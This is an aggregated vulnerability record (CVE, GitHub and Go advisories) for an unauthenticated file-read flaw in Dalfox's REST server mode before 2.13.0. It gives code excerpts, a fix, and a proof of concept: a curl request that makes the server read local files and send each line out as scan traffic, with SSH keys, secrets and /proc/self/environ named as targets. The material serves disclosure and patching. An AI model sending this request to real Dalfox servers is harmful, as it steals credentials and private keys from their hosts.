{"id":"CVE-2026-45088","aliases":["CVE-2026-45088","GHSA-35wr-x7v6-9fv2","GO-2026-5070"],"related":[],"kind":"vulnerability","state":"published","title":"Dalfox: Unauthenticated Arbitrary File Read with Out-of-Band Exfiltration via `custom-payload-file` in Dalfox Server Mode","summary":"Dalfox is a powerful open-source XSS scanner and utility focused on automation. Prior to 2.13.0, when dalfox is run in REST API server mode, the custom-payload-file field in model.Options is JSON-tagged and deserialized directly from the attacker's request body, then propagated unchanged through dalfox.Initialize into the scan engine. The engine passes the value to voltFile.ReadLinesOrLiteral, which reads lines from any file path accessible to the dalfox process and embeds each line as an XSS payload in outbound HTTP requests directed at the attacker-controlled target URL. Because the server has no API key by default, an unauthenticated network attacker can exfiltrate the contents of arbitrary files on the dalfox host by reading them line-by-line through scan traffic. This vulnerability is fixed in 2.13.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Dalfox is a powerful open-source XSS scanner and utility focused on automation. Prior to 2.13.0, when dalfox is run in REST API server mode, the custom-payload-file field in model.Options is JSON-tagged and deserialized directly from the attacker's request body, then propagated unchanged through dalfox.Initialize into the scan engine. The engine passes the value to voltFile.ReadLinesOrLiteral, which reads lines from any file path accessible to the dalfox process and embeds each line as an XSS payload in outbound HTTP requests directed at the attacker-controlled target URL. Because the server has no API key by default, an unauthenticated network attacker can exfiltrate the contents of arbitrary files on the dalfox host by reading them line-by-line through scan traffic. This vulnerability is fixed in 2.13.0.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nWhen dalfox is run in REST API server mode, the `custom-payload-file` field in `model.Options` is JSON-tagged and deserialized directly from the attacker's request body, then propagated unchanged through `dalfox.Initialize` into the scan engine. The engine passes the value to `voltFile.ReadLinesOrLiteral`, which reads lines from any file path accessible to the dalfox process and embeds each line as an XSS payload in outbound HTTP requests directed at the attacker-controlled target URL. Because the server has no API key by default, an unauthenticated network attacker can exfiltrate the contents of arbitrary files on the dalfox host by reading them line-by-line through scan traffic.\n\n## Severity\n\n**High** (CVSS 3.1: 7.5)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n\n- **Attack Vector:** Network — server binds to `0.0.0.0:6664` by default; reachable by any network peer.\n- **Attack Complexity:** Low — no preconditions beyond network access; `skip-discovery` and `param` are both attacker-supplied, so the code path is fully under attacker control.\n- **Privileges Required:** None — `--api-key` defaults to `\"\"`, so the auth middleware is not registered.\n- **User Interaction:** None.\n- **Scope:** Unchanged — the file read and the outbound HTTP exfiltration request both originate from the same dalfox process authority.\n- **Confidentiality Impact:** High — the attacker can read any file the dalfox process can open: private keys, configuration files containing database credentials, environment files, `/etc/passwd`, etc.\n- **Integrity Impact:** None — this path is read-only.\n- **Availability Impact:** None.\n\n## Affected Component\n\n- `cmd/server.go` — `init()` (line 51): `--api-key` defaults to `\"\"` — no auth by default\n- `pkg/server/server.go` — `setupEchoServer()` (line 68): auth middleware only registered when `APIKey != \"\"`\n- `pkg/server/server.go` — `postScanHandler()` (lines 173–191): `rq.Options` (including `CustomPayloadFile`) passed to `ScanFromAPI` without sanitization\n- `lib/func.go` — `Initialize()` (line 117): `CustomPayloadFile` explicitly propagated from caller options\n- `pkg/scanning/scan.go` — anonymous block (lines 341–368): `voltFile.ReadLinesOrLiteral(options.CustomPayloadFile)` reads file; contents injected into outbound requests\n\n## CWE\n\n- **CWE-306**: Missing Authentication for Critical Function\n- **CWE-73**: External Control of File Name or Path\n- **CWE-552**: Files or Directories Accessible to External Parties\n\n## Description\n\n### `custom-payload-file` Is Fully Attacker-Controlled\n\n`model.Options` exposes `CustomPayloadFile` with a JSON tag:\n\n```go\n// pkg/model/options.go:33\nCustomPayloadFile string `json:\"custom-payload-file,omitempty\"`\n```\n\n`postScanHandler` binds the entire `Req.Options` from the JSON body and passes it directly to `ScanFromAPI`:\n\n```go\n// pkg/server/server.go:173-191\nrq := new(Req)\nif err := c.Bind(rq); err != nil { ... }\ngo ScanFromAPI(rq.URL, rq.Options, *options, sid)\n```\n\n`ScanFromAPI` passes `rqOptions` as `target.Options` to `dalfox.Initialize`:\n\n```go\n// pkg/server/scan.go:22-27\ntarget := dalfox.Target{\n    URL:     url,\n    Method:  rqOptions.Method,\n    Options: rqOptions,\n}\nnewOptions := dalfox.Initialize(target, target.Options)\n```\n\n`Initialize` explicitly copies `CustomPayloadFile` into `newOptions` with no filtering:\n\n```go\n// lib/func.go:117\n\"CustomPayloadFile\": {&newOptions.CustomPayloadFile, options.CustomPayloadFile},\n```\n\n### File Read and Exfiltration Path\n\nIn `pkg/scanning/scan.go`, when the scan engine reaches the custom payload phase, it reads the attacker-specified file path:\n\n```go\n// pkg/scanning/scan.go:341-366\nif (options.SkipDiscovery || utils.IsAllowType(policy[\"Content-Type\"])) && options.CustomPayloadFile != \"\" {\n    ff, err := voltFile.ReadLinesOrLiteral(options.CustomPayloadFile)\n    if err != nil {\n        printing.DalLog(\"SYSTEM\", \"Failed to load custom XSS payload file\", options)\n    } else {\n        for _, customPayload := range ff {\n            if customPayload != \"\" {\n                for k, v := range params {\n                    if optimization.CheckInspectionParam(options, k) {\n                        ...\n                        tq, tm := optimization.MakeRequestQuery(target, k, customPayload, \"inHTML\"+ptype, \"toAppend\", encoder, options)\n                        query[tq] = tm\n                    }\n                }\n            }\n        }\n    }\n}\n```\n\nEach line of the file becomes a payload value embedded in a query parameter of an HTTP request sent to the attacker-controlled target URL. `performScanning` then dispatches every entry in the `query` map via `SendReq`, delivering the file's contents to the attacker's server as the value of the nominated parameter (e.g., `?q=<file-line>`).\n\n### Condition Is Trivially Satisfiable\n\nThe condition `options.SkipDiscovery || utils.IsAllowType(policy[\"Content-Type\"])` is satisfied by setting `skip-discovery: true` in the JSON request body — a field the attacker fully controls. When `SkipDiscovery` is true, the engine also requires at least one parameter via `UniqParam` (the `-p` flag), which the attacker supplies as `param: [\"q\"]`. The code then hardcodes `policy[\"Content-Type\"] = \"text/html\"` and populates `params[\"q\"]` automatically:\n\n```go\n// pkg/scanning/scan.go:224-240\nif len(options.UniqParam) == 0 {\n    return scanResult, fmt.Errorf(\"--skip-discovery requires parameters to be specified with -p flag\")\n}\nfor _, paramName := range options.UniqParam {\n    params[paramName] = model.ParamResult{\n        Name: paramName, Type: \"URL\", Reflected: true, Chars: payload.GetSpecialChar(),\n    }\n}\npolicy[\"Content-Type\"] = \"text/html\"\n```\n\nBoth conditions are fully attacker-controlled through the JSON request body.\n\n### No Defense at Any Layer\n\nThe same opt-in API key guard from the first finding applies identically here:\n\n```go\n// pkg/server/server.go:68-70\nif options.ServerType == \"rest\" && options.APIKey != \"\" {\n    e.Use(apiKeyAuth(options.APIKey, options))\n}\n```\n\nWith the default empty API key, no middleware is installed and every endpoint is unauthenticated. There is no path sanitization, no allowlist, and no `IsAPI` guard around the `CustomPayloadFile` read.\n\n## Proof of Concept\n\n```bash\n# Step 1 — Attacker-controlled receiver (logs q= parameter to stdout)\npython3 - <<'PY'\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom urllib.parse import urlparse, parse_qs\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        q = parse_qs(urlparse(self.path).query).get('q', [''])[0]\n        print(\"[RECEIVED] q =\", q, flush=True)\n        body = b'<html><body>ok</body></html>'\n        self.send_response(200)\n        self.send_header('Content-Type', 'text/html')\n        self.send_header('Content-Length', str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n    def log_message(self, *a): pass\nHTTPServer(('127.0.0.1', 18081), H).serve_forever()\nPY\n\n# Step 2 — Start dalfox REST server (default: no API key)\ngo run . server --host 127.0.0.1 --port 16664 --type rest\n\n# Step 3 — Exfiltrate /etc/hostname (or any file readable by the dalfox process)\ncurl -s -X POST http://127.0.0.1:16664/scan \\\n  -H 'Content-Type: application/json' \\\n  --data '{\n    \"url\": \"http://127.0.0.1:18081/?q=test\",\n    \"options\": {\n      \"custom-payload-file\": \"/etc/hostname\",\n      \"only-custom-payload\": true,\n      \"skip-discovery\": true,\n      \"param\": [\"q\"],\n      \"use-headless\": false,\n      \"worker\": 1\n    }\n  }'\n\n# Expected output on the receiver (Step 1 terminal):\n# [RECEIVED] q = myhostname.local\n\n# For multi-line files (e.g. /etc/passwd), each line arrives as a separate request\n```\n\nNo `X-API-KEY` header is required. Replace `/etc/hostname` with any file path accessible to the dalfox process (e.g., `~/.ssh/id_rsa`, `/run/secrets/db_password`, `/proc/self/environ`).\n\n## Impact\n\n- **Arbitrary file read** on the dalfox host: any file readable by the dalfox process (SSH private keys, TLS certificates, `.env` files, cloud credential files, `/proc/self/environ`) can be exfiltrated one line at a time.\n- **No authentication required** under the default configuration.\n- The exfiltration channel is the dalfox host's own outbound HTTP scan traffic — no inbound connection from the attacker to the dalfox host is needed beyond the initial REST API call.\n- Combined with the `found-action` RCE finding (separate issue), an attacker could first read `/proc/self/environ` to harvest secrets, then execute commands.\n\n## Recommended Remediation\n\n### Option 1: Strip filesystem-dangerous fields from API-sourced requests (preferred)\n\nApply a denylist of fields that should never be accepted from the REST API, regardless of auth state. This protects authenticated deployments against credential-theft or privilege escalation by external API consumers:\n\n```go\n// pkg/server/server.go — in postScanHandler, before ScanFromAPI:\nrq.Options.CustomPayloadFile = \"\"\nrq.Options.CustomBlindXSSPayloadFile = \"\"\nrq.Options.FoundAction = \"\"\nrq.Options.FoundActionShell = \"\"\nrq.Options.OutputFile = \"\"\nrq.Options.HarFilePath = \"\"\n```\n\n### Option 2: Require `--api-key` at server startup\n\nMake authentication mandatory and refuse to start without it:\n\n```go\n// cmd/server.go — in runServerCmd:\nif serverType == \"rest\" && apiKey == \"\" {\n    fmt.Fprintln(os.Stderr, \"ERROR: --api-key is required when running in REST server mode.\")\n    os.Exit(1)\n}\n```\n\nBoth options should be applied together. Option 2 prevents unauthenticated access to the API entirely; Option 1 ensures that even trusted API callers cannot leverage the server to read files from the host filesystem.\n\n##Credit\n\nEmmanuel David\n\nGithub:- https://github.com/drmingler","format":"markdown","source":"ghsa"},{"lang":"en","text":"Dalfox Server Mode has an Unauthenticated Arbitrary File Read with Out-of-Band Exfiltration via `custom-payload-file` in github.com/hahwul/dalfox","format":"markdown","source":"go"},{"lang":"es","text":"Dalfox es un potente escáner XSS de código abierto y una utilidad centrada en la automatización. Antes de la versión 2.13.0, cuando dalfox se ejecuta en modo de servidor API REST, el campo custom-payload-file en model.Options está etiquetado como JSON y se deserializa directamente del cuerpo de la solicitud del atacante, luego se propaga sin cambios a través de dalfox.Initialize al motor de escaneo. El motor pasa el valor a voltFile.ReadLinesOrLiteral, que lee líneas de cualquier ruta de archivo accesible para el proceso dalfox e incrusta cada línea como una carga útil XSS en las solicitudes HTTP salientes dirigidas a la URL objetivo controlada por el atacante. Debido a que el servidor no tiene una clave API por defecto, un atacante de red no autenticado puede exfiltrar el contenido de archivos arbitrarios en el host dalfox leyéndolos línea por línea a través del tráfico de escaneo. Esta vulnerabilidad se corrige en la versión 2.13.0.","source":"nvd"}],"published":"2026-05-12T15:08:13.000Z","modified":"2026-10-26T11:10:00.157Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"}],"cwes":["CWE-73","CWE-306","CWE-552"],"affected":[{"ranges":[{"version":"< 2.13.0","status":"affected"}],"vendor":"hahwul","product":"dalfox","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.13.0"}],"ecosystem":"Go","package":"github.com/hahwul/dalfox/v2","purl":"pkg:golang/github.com/hahwul/dalfox/v2","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/hahwul/dalfox","purl":"pkg:golang/github.com/hahwul/dalfox","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.13.0"}],"ecosystem":"Go","package":"github.com/hahwul/dalfox/v2","purl":"pkg:golang/github.com/hahwul/dalfox/v2","source":"go"}],"references":[{"url":"https://github.com/hahwul/dalfox/security/advisories/GHSA-35wr-x7v6-9fv2","tags":["advisory","exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/hahwul/dalfox/releases/tag/v2.13.0","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45088","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/hahwul/dalfox","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-05-27T17:56:40.382Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-45088","url":"https://www.cve.org/CVERecord?id=CVE-2026-45088","licence":"CVE Terms of Use","modified":"2026-05-27T18:00:56.222Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-35wr-x7v6-9fv2","url":"https://github.com/advisories/GHSA-35wr-x7v6-9fv2","licence":"CC-BY-4.0","modified":"2026-06-25T18:56:35.128Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5070","url":"https://pkg.go.dev/vuln/GO-2026-5070","licence":"CC-BY-4.0","modified":"2026-06-25T18:45:16.453Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-45088","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45088","licence":"Public domain","modified":"2026-10-26T11:10:00.157Z"}],"updatedAt":"2026-11-25T22:59:22.632Z","epss":{"score":0.0031,"percentile":0.25786,"date":"2026-12-01T12:00:22.000Z"}}